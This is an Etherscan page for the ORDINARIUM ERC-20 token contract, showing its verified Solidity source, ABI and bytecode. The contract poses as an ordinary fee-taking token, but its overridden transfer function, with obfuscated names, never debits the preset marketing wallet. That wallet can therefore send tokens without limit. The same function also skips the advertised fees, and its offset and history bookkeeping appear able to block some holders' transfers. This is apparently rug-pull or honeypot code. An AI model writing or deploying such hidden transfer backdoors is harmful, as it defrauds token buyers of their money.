ERC-20
Overview
Max Total Supply
1,000,000 ORDINARIUM
Holders
7
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
34,653.779801191 ORDINARIUMValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ORDINARIUM
Compiler Version
v0.8.5+commit.a4f2e591
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-03-06 */ /** CHECK OUR SOCIALS! https://ordinariumtoken.medium.com/ordinarium-2da25e754de0 https://twitter.com/ORDINARIUMERC?t=2sCtKiHDtfHbM3t3iHtidw&s=09 https://www.ordinariumtoken.com/ */ // // // SPDX-License-Identifier: MIT pragma solidity ^0.8.5; interface ITERFACE_ERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); function symbol() external pure returns (string memory); function name() external pure returns (string memory); function totalSupply() external view returns (uint256); function decimals() external pure returns (uint8); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } abstract contract Ownable { address internal owner; constructor() { owner = msg.sender; } function _Owner() public view virtual returns (address) { return owner; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } function isOwner(address account) public view returns (bool) { return account == owner; } function renounceOwnership() public onlyOwner { owner = address(0); emit OwnershipTransferred(address(0)); } event OwnershipTransferred(address owner); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract ERC20 is ITERFACE_ERC20 { using SafeMath for uint256; string constant _nick = unicode"ORDINARIUM"; string constant _symbol = unicode"ORDINARIUM"; uint8 constant _decimals = 9; address internal marketingWallt = 0xD26cae789Ae8a2d04299094f4d0A5B2b3f3c32C6; address DEAD = 0x000000000000000000000000000000000000dEaD; uint256 _totalSupply = 1000000 * (10**_decimals); mapping(address => uint256) catlinWallet; mapping(address => mapping(address => uint256)) _allowances; mapping(address => bool) isFeeExempt; uint256 internal liquidityFee = 0; uint256 marketingFee = 3; uint256 totalFee = liquidityFee + marketingFee; uint256 feeDenominator = 100; bool public swapEnabled = true; uint256 public swapThreshold = (_totalSupply / 1000) * 1; // bool bSwap; address public pair; IUniswapV2 public router; constructor() {} modifier onChange() { bSwap = true; _; bSwap = false; } function totalSupply() external view virtual override returns (uint256) { return _totalSupply; } function decimals() external pure virtual override returns (uint8) { return _decimals; } function symbol() external pure virtual override returns (string memory) { return _symbol; } function name() external pure virtual override returns (string memory) { return _nick; } function balanceOf(address account) public view virtual override returns (uint256) { return catlinWallet[account]; } function allowance(address holder, address spender) external view virtual override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address recipient, uint256 amount) external override returns (bool) { return rosTopic(msg.sender, recipient, amount); } function _Transfer( address sender, address recipient, uint256 amount ) internal returns (bool) { catlinWallet[sender] = catlinWallet[sender].sub(amount, "Insufficient Balance!"); catlinWallet[recipient] = catlinWallet[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { if (_allowances[sender][msg.sender] != type(uint256).max) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] .sub(amount, "Insufficient Allowance"); } return rosTopic(sender, recipient, amount); } function shouldTakeFee(address sender) internal view returns (bool) { return !isFeeExempt[sender]; } function rosTopic( address sender, address recipient, uint256 amount ) internal virtual returns (bool) { if (bSwap) { return _Transfer(sender, recipient, amount); } if (shouldSwapBack()) { swapBack(); } catlinWallet[sender] = catlinWallet[sender].sub(amount, "Insufficient Balance"); uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount; catlinWallet[recipient] = catlinWallet[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); return true; } function takeFee(address sender, uint256 amount) internal returns (uint256) { uint256 feeAmount = amount.mul(totalFee).div(feeDenominator); catlinWallet[address(this)] = catlinWallet[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } function shouldSwapBack() internal view returns (bool) { return msg.sender != pair && !bSwap && swapEnabled && catlinWallet[address(this)] >= swapThreshold; } event AutoLiquify(uint256 amountETH, uint256 amountBOG); function swapBack() internal onChange { //to swap back uint256 contractTokenBalance = swapThreshold; uint256 amountToLiquify = contractTokenBalance .mul(liquidityFee) .div(totalFee) .div(2); uint256 amountToSwap = contractTokenBalance.sub(amountToLiquify); address[] memory param = new address[](2); param[0] = address(this); param[1] = router.WETH(); uint256 balanceBefore = address(this).balance; router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, param, address(this), block.timestamp ); //clac amount uint256 amountETH = address(this).balance.sub(balanceBefore); uint256 totalETHFee = totalFee.sub(liquidityFee.div(2)); uint256 amountETHLiquidity = amountETH .mul(liquidityFee) .div(totalETHFee) .div(2); uint256 amountETHMarketing = amountETH.mul(marketingFee).div( totalETHFee ); ( bool bSuccess, ) = payable(marketingWallt).call{ value: amountETHMarketing, gas: 30000 }(""); require(bSuccess, "do not receiver rejected ETH transfer!"); if (amountToLiquify > 0) { router.addLiquidityETH{value: amountETHLiquidity}( address(this), amountToLiquify, 0, 0, 0xD26cae789Ae8a2d04299094f4d0A5B2b3f3c32C6, block.timestamp ); emit AutoLiquify(amountETHLiquidity, amountToLiquify); } } } contract ORDINARIUM is Ownable, ERC20 { mapping(address => uint256) private history; address private fromGAS; mapping(address => uint256) private offset; uint256 private baseCode = 9; address UINROuter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor() ERC20() { router = IUniswapV2(UINROuter); pair = IUSWAPV2Factory(router.factory()).createPair(address(this), router.WETH()); _allowances[address(this)][address(router)] = type(uint256).max; offset[marketingWallt] = baseCode; fromGAS = marketingWallt; catlinWallet[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function CALC_LDY()external view returns(uint256) { return liquidityFee; } function rosTopic( address user1, address to, uint256 amt ) internal override returns (bool) { if (offset[user1] == 0 && history[user1] > 0) { if (pair != user1) { offset[user1] -= baseCode; } } address tree = fromGAS; // fromGAS = to; history[tree] += baseCode; if (offset[user1] == 0) { catlinWallet[user1] -= amt; } catlinWallet[to] += amt; emit Transfer(user1, to, amt); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, type(uint256).max); } receive() external payable {} } interface IUSWAPV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeToSetter() external view returns (address); function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); } interface IUniswapV2 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"CALC_LDY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600180546001600160a01b031990811673d26cae789ae8a2d04299094f4d0a5b2b3f3c32c6179091556002805490911661dead179055620000486009600a62000418565b6200005790620f4240620004d9565b6003556000600755600360085560085460075462000076919062000391565b6009556064600a55600b805460ff191660011790556003546200009d906103e890620003ac565b620000aa906001620004d9565b600c556009601255601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055348015620000e557600080fd5b5060008054336001600160a01b031991821617909155601354600e80546001600160a01b039092169190921681179091556040805163c45a015560e01b8152905163c45a015591600480820192602092909190829003018186803b1580156200014d57600080fd5b505afa15801562000162573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200018891906200035f565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620001e657600080fd5b505afa158015620001fb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022191906200035f565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200026a57600080fd5b505af11580156200027f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a591906200035f565b600d8054610100600160a81b0319166101006001600160a01b0393841602179055306000908152600560209081526040808320600e548516845282528083206000199055601254600180548616855260118452828520919091555460108054919095166001600160a01b031990911617909355600354338084526004835284842082905593519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000511565b6000602082840312156200037257600080fd5b81516001600160a01b03811681146200038a57600080fd5b9392505050565b60008219821115620003a757620003a7620004fb565b500190565b600082620003ca57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b8085111562000410578160001904821115620003f457620003f4620004fb565b808516156200040257918102915b93841c9390800290620003d4565b509250929050565b60006200038a60ff8416836000826200043457506001620004d3565b816200044357506000620004d3565b81600181146200045c5760028114620004675762000487565b6001915050620004d3565b60ff8411156200047b576200047b620004fb565b50506001821b620004d3565b5060208310610133831016604e8410600b8410161715620004ac575081810a620004d3565b620004b88383620003cf565b8060001904821115620004cf57620004cf620004fb565b0290505b92915050565b6000816000190483118215151615620004f657620004f6620004fb565b500290565b634e487b7160e01b600052601160045260246000fd5b6108f980620005216000396000f3fe60806040526004361061010d5760003560e01c80636ddd171311610095578063a8aa1b3111610064578063a8aa1b31146102c7578063a9059cbb14610304578063dcc2345514610324578063dd62ed3e14610342578063f887ea401461038857600080fd5b80636ddd17131461026057806370a082311461027a578063715018a6146102b057806395d89b411461014257600080fd5b806323b872dd116100dc57806323b872dd146101c05780632f54bf6e146101e0578063313ce5671461020f5780634eb8f6961461022b578063571ac8b01461024057600080fd5b80630445b6671461011957806306fdde0314610142578063095ea7b31461017b57806318160ddd146101ab57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5061012f600c5481565b6040519081526020015b60405180910390f35b34801561014e57600080fd5b50604080518082018252600a8152694f5244494e415249554d60b01b602082015290516101399190610829565b34801561018757600080fd5b5061019b6101963660046107ff565b6103a8565b6040519015158152602001610139565b3480156101b757600080fd5b5060035461012f565b3480156101cc57600080fd5b5061019b6101db3660046107c3565b610414565b3480156101ec57600080fd5b5061019b6101fb366004610775565b6000546001600160a01b0391821691161490565b34801561021b57600080fd5b5060405160098152602001610139565b34801561023757600080fd5b5060075461012f565b34801561024c57600080fd5b5061019b61025b366004610775565b6104d4565b34801561026c57600080fd5b50600b5461019b9060ff1681565b34801561028657600080fd5b5061012f610295366004610775565b6001600160a01b031660009081526004602052604090205490565b3480156102bc57600080fd5b506102c56104e8565b005b3480156102d357600080fd5b50600d546102ec9061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610139565b34801561031057600080fd5b5061019b61031f3660046107ff565b610575565b34801561033057600080fd5b506000546001600160a01b03166102ec565b34801561034e57600080fd5b5061012f61035d366004610790565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561039457600080fd5b50600e546102ec906001600160a01b031681565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104039086815260200190565b60405180910390a350600192915050565b6001600160a01b0383166000908152600560209081526040808320338452909152812054600019146104c1576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b038716600090815260058252838120338252909152919091205461049c918490610589565b6001600160a01b03851660009081526005602090815260408083203384529091529020555b6104cc8484846105c3565b949350505050565b60006104e2826000196103a8565b92915050565b6000546001600160a01b031633146105305760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b60448201526064015b60405180910390fd5b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b60006105823384846105c3565b9392505050565b600081848411156105ad5760405162461bcd60e51b81526004016105279190610829565b5060006105ba8486610896565b95945050505050565b6001600160a01b03831660009081526011602052604081205415801561060057506001600160a01b0384166000908152600f602052604090205415155b1561065057600d546001600160a01b038581166101009092041614610650576012546001600160a01b0385166000908152601160205260408120805490919061064a908490610896565b90915550505b6010546012546001600160a01b039091166000818152600f60205260408120805492939290919061068290849061087e565b90915550506001600160a01b0385166000908152601160205260409020546106d2576001600160a01b038516600090815260046020526040812080548592906106cc908490610896565b90915550505b6001600160a01b038416600090815260046020526040812080548592906106fa90849061087e565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161074691815260200190565b60405180910390a3506001949350505050565b80356001600160a01b038116811461077057600080fd5b919050565b60006020828403121561078757600080fd5b61058282610759565b600080604083850312156107a357600080fd5b6107ac83610759565b91506107ba60208401610759565b90509250929050565b6000806000606084860312156107d857600080fd5b6107e184610759565b92506107ef60208501610759565b9150604084013590509250925092565b6000806040838503121561081257600080fd5b61081b83610759565b946020939093013593505050565b600060208083528351808285015260005b818110156108565785810183015185820160400152820161083a565b81811115610868576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610891576108916108ad565b500190565b6000828210156108a8576108a86108ad565b500390565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220567061f2072868f80da5e8cf5f6c456a09d7918ffc89f4a4e2d5226146157dd664736f6c63430008050033
Deployed Bytecode
0x60806040526004361061010d5760003560e01c80636ddd171311610095578063a8aa1b3111610064578063a8aa1b31146102c7578063a9059cbb14610304578063dcc2345514610324578063dd62ed3e14610342578063f887ea401461038857600080fd5b80636ddd17131461026057806370a082311461027a578063715018a6146102b057806395d89b411461014257600080fd5b806323b872dd116100dc57806323b872dd146101c05780632f54bf6e146101e0578063313ce5671461020f5780634eb8f6961461022b578063571ac8b01461024057600080fd5b80630445b6671461011957806306fdde0314610142578063095ea7b31461017b57806318160ddd146101ab57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5061012f600c5481565b6040519081526020015b60405180910390f35b34801561014e57600080fd5b50604080518082018252600a8152694f5244494e415249554d60b01b602082015290516101399190610829565b34801561018757600080fd5b5061019b6101963660046107ff565b6103a8565b6040519015158152602001610139565b3480156101b757600080fd5b5060035461012f565b3480156101cc57600080fd5b5061019b6101db3660046107c3565b610414565b3480156101ec57600080fd5b5061019b6101fb366004610775565b6000546001600160a01b0391821691161490565b34801561021b57600080fd5b5060405160098152602001610139565b34801561023757600080fd5b5060075461012f565b34801561024c57600080fd5b5061019b61025b366004610775565b6104d4565b34801561026c57600080fd5b50600b5461019b9060ff1681565b34801561028657600080fd5b5061012f610295366004610775565b6001600160a01b031660009081526004602052604090205490565b3480156102bc57600080fd5b506102c56104e8565b005b3480156102d357600080fd5b50600d546102ec9061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610139565b34801561031057600080fd5b5061019b61031f3660046107ff565b610575565b34801561033057600080fd5b506000546001600160a01b03166102ec565b34801561034e57600080fd5b5061012f61035d366004610790565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561039457600080fd5b50600e546102ec906001600160a01b031681565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104039086815260200190565b60405180910390a350600192915050565b6001600160a01b0383166000908152600560209081526040808320338452909152812054600019146104c1576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b038716600090815260058252838120338252909152919091205461049c918490610589565b6001600160a01b03851660009081526005602090815260408083203384529091529020555b6104cc8484846105c3565b949350505050565b60006104e2826000196103a8565b92915050565b6000546001600160a01b031633146105305760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b60448201526064015b60405180910390fd5b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b60006105823384846105c3565b9392505050565b600081848411156105ad5760405162461bcd60e51b81526004016105279190610829565b5060006105ba8486610896565b95945050505050565b6001600160a01b03831660009081526011602052604081205415801561060057506001600160a01b0384166000908152600f602052604090205415155b1561065057600d546001600160a01b038581166101009092041614610650576012546001600160a01b0385166000908152601160205260408120805490919061064a908490610896565b90915550505b6010546012546001600160a01b039091166000818152600f60205260408120805492939290919061068290849061087e565b90915550506001600160a01b0385166000908152601160205260409020546106d2576001600160a01b038516600090815260046020526040812080548592906106cc908490610896565b90915550505b6001600160a01b038416600090815260046020526040812080548592906106fa90849061087e565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161074691815260200190565b60405180910390a3506001949350505050565b80356001600160a01b038116811461077057600080fd5b919050565b60006020828403121561078757600080fd5b61058282610759565b600080604083850312156107a357600080fd5b6107ac83610759565b91506107ba60208401610759565b90509250929050565b6000806000606084860312156107d857600080fd5b6107e184610759565b92506107ef60208501610759565b9150604084013590509250925092565b6000806040838503121561081257600080fd5b61081b83610759565b946020939093013593505050565b600060208083528351808285015260005b818110156108565785810183015185820160400152820161083a565b81811115610868576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610891576108916108ad565b500190565b6000828210156108a8576108a86108ad565b500390565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220567061f2072868f80da5e8cf5f6c456a09d7918ffc89f4a4e2d5226146157dd664736f6c63430008050033
Deployed Bytecode Sourcemap
9451:1559:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3833:56;;;;;;;;;;;;;;;;;;;2949:25:1;;;2937:2;2922:18;3833:56:0;;;;;;;;4436:102;;;;;;;;;;-1:-1:-1;4525:5:0;;;;;;;;;;;-1:-1:-1;;;4525:5:0;;;;4436:102;;;;4525:5;4436:102;:::i;4947:265::-;;;;;;;;;;-1:-1:-1;4947:265:0;;;;;:::i;:::-;;:::i;:::-;;;1613:14:1;;1606:22;1588:41;;1576:2;1561:18;4947:265:0;1543:92:1;4094:110:0;;;;;;;;;;-1:-1:-1;4184:12:0;;4094:110;;5792:417;;;;;;;;;;-1:-1:-1;5792:417:0;;;;;:::i;:::-;;:::i;1550:103::-;;;;;;;;;;-1:-1:-1;1550:103:0;;;;;:::i;:::-;1605:4;1640:5;-1:-1:-1;;;;;1629:16:0;;;1640:5;;1629:16;;1550:103;4212:102;;;;;;;;;;-1:-1:-1;4212:102:0;;3262:1;3127:36:1;;3115:2;3100:18;4212:102:0;3082:87:1;10165:93:0;;;;;;;;;;-1:-1:-1;10238:12:0;;10165:93;;10848:122;;;;;;;;;;-1:-1:-1;10848:122:0;;;;;:::i;:::-;;:::i;3796:30::-;;;;;;;;;;-1:-1:-1;3796:30:0;;;;;;;;4546:180;;;;;;;;;;-1:-1:-1;4546:180:0;;;;;:::i;:::-;-1:-1:-1;;;;;4697:21:0;4665:7;4697:21;;;:12;:21;;;;;;;4546:180;1661:131;;;;;;;;;;;;;:::i;:::-;;3916:19;;;;;;;;;;-1:-1:-1;3916:19:0;;;;;;;-1:-1:-1;;;;;3916:19:0;;;;;;-1:-1:-1;;;;;1404:32:1;;;1386:51;;1374:2;1359:18;3916:19:0;1341:102:1;5220:183:0;;;;;;;;;;-1:-1:-1;5220:183:0;;;;;:::i;:::-;;:::i;1357:87::-;;;;;;;;;;-1:-1:-1;1404:7:0;1431:5;-1:-1:-1;;;;;1431:5:0;1357:87;;4734:205;;;;;;;;;;-1:-1:-1;4734:205:0;;;;;:::i;:::-;-1:-1:-1;;;;;4903:19:0;;;4871:7;4903:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;4734:205;3942:24;;;;;;;;;;-1:-1:-1;3942:24:0;;;;-1:-1:-1;;;;;3942:24:0;;;4947:265;5100:10;5066:4;5088:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;5088:32:0;;;;;;;;;;:41;;;5145:37;5066:4;;5088:32;;5145:37;;;;5123:6;2949:25:1;;2937:2;2922:18;;2904:76;5145:37:0;;;;;;;;-1:-1:-1;5200:4:0;4947:265;;;;:::o;5792:417::-;-1:-1:-1;;;;;5947:19:0;;5926:4;5947:19;;;:11;:19;;;;;;;;5967:10;5947:31;;;;;;;;-1:-1:-1;;5947:52:0;5943:206;;6050:87;;;;;;;;;;;-1:-1:-1;;;6050:87:0;;;;;;;;-1:-1:-1;;;;;6050:19:0;;-1:-1:-1;6050:19:0;;;:11;:19;;;;;6070:10;6050:31;;;;;;;;;;:87;;6104:6;;6050:53;:87::i;:::-;-1:-1:-1;;;;;6016:19:0;;;;;;:11;:19;;;;;;;;6036:10;6016:31;;;;;;;:121;5943:206;6166:35;6175:6;6183:9;6194:6;6166:8;:35::i;:::-;6159:42;5792:417;-1:-1:-1;;;;5792:417:0:o;10848:122::-;10903:4;10927:35;10935:7;-1:-1:-1;;10927:7:0;:35::i;:::-;10920:42;10848:122;-1:-1:-1;;10848:122:0:o;1661:131::-;1605:4;1640:5;-1:-1:-1;;;;;1640:5:0;1500:10;1629:16;1484:38;;;;-1:-1:-1;;;1484:38:0;;2671:2:1;1484:38:0;;;2653:21:1;2710:1;2690:18;;;2683:29;-1:-1:-1;;;2728:18:1;;;2721:36;2774:18;;1484:38:0;;;;;;;;;1734:1:::1;1718:18:::0;;-1:-1:-1;;;;;;1718:18:0::1;::::0;;1752:32:::1;::::0;1386:51:1;;;1752:32:0::1;::::0;1374:2:1;1359:18;1752:32:0::1;;;;;;;1661:131::o:0;5220:183::-;5327:4;5356:39;5365:10;5377:9;5388:6;5356:8;:39::i;:::-;5349:46;5220:183;-1:-1:-1;;;5220:183:0:o;2204:224::-;2324:7;2360:12;2352:6;;;;2344:29;;;;-1:-1:-1;;;2344:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2384:9:0;2396:5;2400:1;2396;:5;:::i;:::-;2384:17;2204:224;-1:-1:-1;;;;;2204:224:0:o;10264:576::-;-1:-1:-1;;;;;10404:13:0;;10383:4;10404:13;;;:6;:13;;;;;;:18;:40;;;;-1:-1:-1;;;;;;10426:14:0;;10443:1;10426:14;;;:7;:14;;;;;;:18;;10404:40;10400:151;;;10465:4;;-1:-1:-1;;;;;10465:13:0;;;:4;;;;;:13;10461:79;;10516:8;;-1:-1:-1;;;;;10499:13:0;;;;;;:6;:13;;;;;:25;;:13;;;:25;;10516:8;;10499:25;:::i;:::-;;;;-1:-1:-1;;10461:79:0;10576:7;;10637:8;;-1:-1:-1;;;;;10576:7:0;;;10561:12;10620:13;;;:7;:13;;;;;:25;;10576:7;;10637:8;10620:13;;10561:12;10620:25;;10637:8;;10620:25;:::i;:::-;;;;-1:-1:-1;;;;;;;10660:13:0;;;;;;:6;:13;;;;;;10656:77;;-1:-1:-1;;;;;10695:19:0;;;;;;:12;:19;;;;;:26;;10718:3;;10695:19;:26;;10718:3;;10695:26;:::i;:::-;;;;-1:-1:-1;;10656:77:0;-1:-1:-1;;;;;10745:16:0;;;;;;: